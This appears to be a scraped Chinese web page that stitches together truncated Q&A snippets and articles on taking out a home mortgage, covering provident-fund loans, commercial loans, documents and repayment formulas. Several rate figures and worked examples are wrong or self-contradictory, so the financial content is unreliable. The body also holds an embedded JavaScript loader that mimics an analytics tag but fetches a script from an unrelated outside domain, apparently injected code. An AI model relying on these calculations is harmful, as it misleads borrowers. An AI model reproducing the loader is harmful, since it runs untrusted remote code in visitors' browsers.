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鲍光誉
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问朋友们讲讲买房子怎样用公积金贷款
答 根据《个人住房公积金贷款实行办法》的规定,申请这种贷款的借款人应当符合以下条件:借款人是在“公积金中心”正常缴存住房公积金的个人;借款人购买的住房必须是
问朋友们讲讲买房子没工作怎么贷款
答 没工作自然就没有公积金,所以购房者是不能申请公积金贷款的,不过需要注意的是,虽然购房者不能申请公积金贷款,但是可以申请商业贷款,就是向银行贷款,办理银行
问朋友们讲讲买房子贷款是怎么计算的
答买房贷款计算公式两种,一种是等额本息还款,一种是等额本金还款,两种不同的方式各有优缺点。适合不同情况的购房者,我们先来看一下两者的计算方法。 1、等
问朋友们讲讲买房子怎么按揭贷款
答买房分为全额付款和按揭付款。按揭付款就是首付一定比例(二手房目前一般最低三成,新房房两成),才能申请银行贷款,申请后该贷款作为房款交给卖家。然后你按照每月/
问朋友们讲讲买房子拿什么贷款
答就是拿你的房产证去贷款的哦,买房按揭需要以下资料: 1、身份证 2、户口本 3、结婚,离婚或者单身证明 4、个人征信报告 5、收入证明及银行流水
求房子贷款是怎么算的
现如今,因房价一直是高居不下,买房子贷款已经是一个大的趋势,选择户型比较简单,但求房子贷款怎么办理成了大家最想知道的问题,只有准备充足才可以使办理房子贷款的流程比较顺利,以下是对求房子贷款的回答。1、求房子贷款,按中国人民银行规定的个人住房贷款利率执行;个人的相关商用房的贷款执行人民银行规定的期限利率。因银行对于房子贷款的利息的计算比较专业,我们可以利用公式个人计算,以公积金贷款为例,5年以上的贷款,月利率为3.375%。比如贷款1万元人民币,20年还清,则贷款人每月需还款60.86。2、求房子贷款需要知道,如果是你的房子贷款为等额本金的方式,那么公式为月还款额=本金n+剩余本金*月利率,总利息=本金*月利率*(贷款月数/2+0.5)从这个计算的方法可以看出,等额本金的还款方式是慢慢的逐月减少,这个方法适合还款能力强的朋友们。房子贷款有了公式计算起来就是比较简单,同时影响房子贷款的因素,最主要的还是首付款的比例,当前国家开始调控房地产市场,因此房子贷款比例也在不断的提高,这对我们求房子贷款时有一定的影响。还有目前国家再次提高房贷的利息,这也会影响我们贷款的资金比例,所以买房子一定要谨。3、求房子贷款还需要准备个人住房借款申请书、身份证复印件、经办行认可的有关部门出具的借款人稳定的经济收入证明或者其他偿还能力证明资料、合法购买的住房合同、协议及相关批准文件、银行的存款单据等。4、准备好资料后就可以到贷款银行提出借款申请,等待审核,签订借款合同,然后到产权部门办理贷款担保手续,签订还款协议和划款。最后求房子贷款人按照与房子贷款的银行约定的时间到贷款银行办理领取贷款的手续,贷款银行就会将款打入售房单位了,以上是对求房子贷款的解答。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
怎样贷款买房 三张方式介绍
随着我们现在社会的逐渐发展和房价的不断抬升,对于许多年轻人来说,一次性付清房子的费用十分困难。房奴逐渐的出现在了网络上成为了一个热门,许多年轻人选择贷款买房,不仅可以住到自己的家,而且可以减轻经济上的压力,但是也有很多人并不了解如何贷款买房。今天小编就给大家说说我们怎么样才可以贷款买房。一:贷款买房的三种方式:1、住房公积金贷款:许多居民在贷款选房时,首选的就是住房公积金低息贷款,但这是对于已参加交纳住房公积金的居民。首先此贷款具有政府补贴的性质,而且其贷款利息低,仅为商业银行抵押贷款利率的一半,而且还低于商业同期存款的利率。除此之外,此贷款在办理保险和抵押等相关手续时收费也是减半的。无疑受到许多居民的青睐。2.个人住房商业性贷款:上述贷款虽然优点多,但是限定条件也多,所以也有许多人会选择此贷款,也就是银行按揭贷款。只要我们在贷款银行的存款余额占我们购买住房所需金额比例不小于30%,就可以作为购房的首付,并获得有贷款银行认可的资产作为抵押。除此之外,如果有足够偿还能力的单位和个人作为偿还贷款本息并承担连带责任的保证人,也可以申请使用银行的按揭贷款。3、个人住房组合贷款:住房公积金管理中心可以发放的公积金贷款,最高限额一般为10-29万元,如果我们购房款超过这个限额,其不足部分要向银行申请住房商业性贷款。而这两种贷款合称起来就叫组合贷款。这种贷款方式利率适中,贷款金额大,因而被较多贷款者选用。二:贷款买房偿还本息方式:1.贷款期限在一年(含一年)的,我们可以实行到期一次还本付息,利息就随着本息一起清空;2.贷款期限在1年以上的,我们可以采取等额本息还款法和等额本金还款法等还款方法,按照每个月来归还贷款本息。现在贷款买房已经是一件很平常的事情,但是贷款买房的方式的不同,其实的利息相差总和也是非常大的。所以对于我们来说,我们应当在买房前熟悉哪种还贷方式对于自己更有利,而不是一味的听从工作人员的建议,熟悉并知晓其他的还贷方式。小编最后还想建议有意向购房的朋友们,在确定购房预算时可以仔细算一算,多列出几种选择比较一下再去申请相应的贷款。
买房子贷款利息怎么算? 精打细算很关键
在中国房地产市场房屋价格一直在上涨,想要购买一套房产并不容易,一套房子,少则几十万多则上百万甚至上千万的都有。这对于普通的工薪阶层家庭而言,一下子拿出那么多钱,是有一定困难的。因此,很多购房者在购买房屋时,都会选择向银行贷款。很多人对买房子贷款利息并不了解,今天我们就来总结说明一下买房子贷款利息具体是怎么计算的。买房子贷款利息怎么算?一、等额本金的贷款方式的利率计算(基本上本金:利息=1:3)1、如果是贷款二十年应该付的利息:270000(元~贷款额)*5.04%(年利率)*20(年限)=a(元)2、如果是贷款二十年应该付的本息总计:270000(元~贷款额)+a(元)=b(元)3、首月还款:b(元)÷240(月~期数)=c(元)注:每个月的还款额至此依次减少,绝对是不会再超过这个数目的。4、首月利息:270000(元~贷款额)*0.0042(月利率)=d(元)5、首月本金:c(元)-d(元)=e(元)注:一直到偿还了全部的贷款,每月本金都是保持e元不变,这也就是等额本金的命名来源。6、第二月利息:270000(元~贷款额)-e(元)=f(元)(贷款的金额减去已经还的本金)f(元)*0.0042(月利率)=g(元)7、第二月还款:e(元~本金)+g(元)=h(元)8、第三月利息:f(元~剩余贷款额)-e(元)=i(元)i(元)*0.0042(月利率)=j(元)9、第三月还款:e(元~本金)+j=k(元)10、依次类推。注:请注意每月还款额依次递减3.5元,那么和等额本息的方法相比等额本金的方法仍然是在先还利息,只不过在每月还款中利息与本金的比例降低了。换一句话来说就是让你每月多还一些本金并且固定本金数额,这样逐月所付利息相应减少,这也就是等额本金还贷的前期压力较大的原因。二、等额本息贷款利率计算1、首月还款:200000(元)*66.217(速算表系数)=1324.340(元)注:月还款额至还贷结束保持不变。2、首月利息:200000(元~贷款额)*0.0042(月利率)=840(元)3、首月本金:1324.340(元)-840(元)=484.340(元)4、第二月利息:200000(元~贷款额)-484.340(元)=199515.660(元)(贷款额减去已还本金)199515.660*0.0042(月利率)=837.966(元)5、第二月本金:1324.340(元)-837.966(元)=486.374(元)6、第三月利息:199515.660(元~剩余贷款额)-486.374(元)=199029.286(元)199029.286(元)*0.0042(月利率)=835.923(元)7、第三月本金:1324.340(元)-835.923(元)=488.417(元)8、依次类推。注:请注意每月利息逐月递减2.043元,本金逐月递增2.043元,这就是所谓的等额本息,换句话说就是每月利息的减少数额与本金增加的数额基本相等。根据上述说的计算方法以及计算公式。相信大家关于买房子贷款利息如何计算在心目中大概已经有了一个认知。贷款解决了中国千千万万家庭住房问题,促进了中国经济的发展,城市面貌的改变,以及人们生活水平的提高。可以说是好处很多,但是令人不满的就是贷款利息。因此,要根据实际经济情况来决定是否贷款,千万不可盲目贷款,影响个人信誉。
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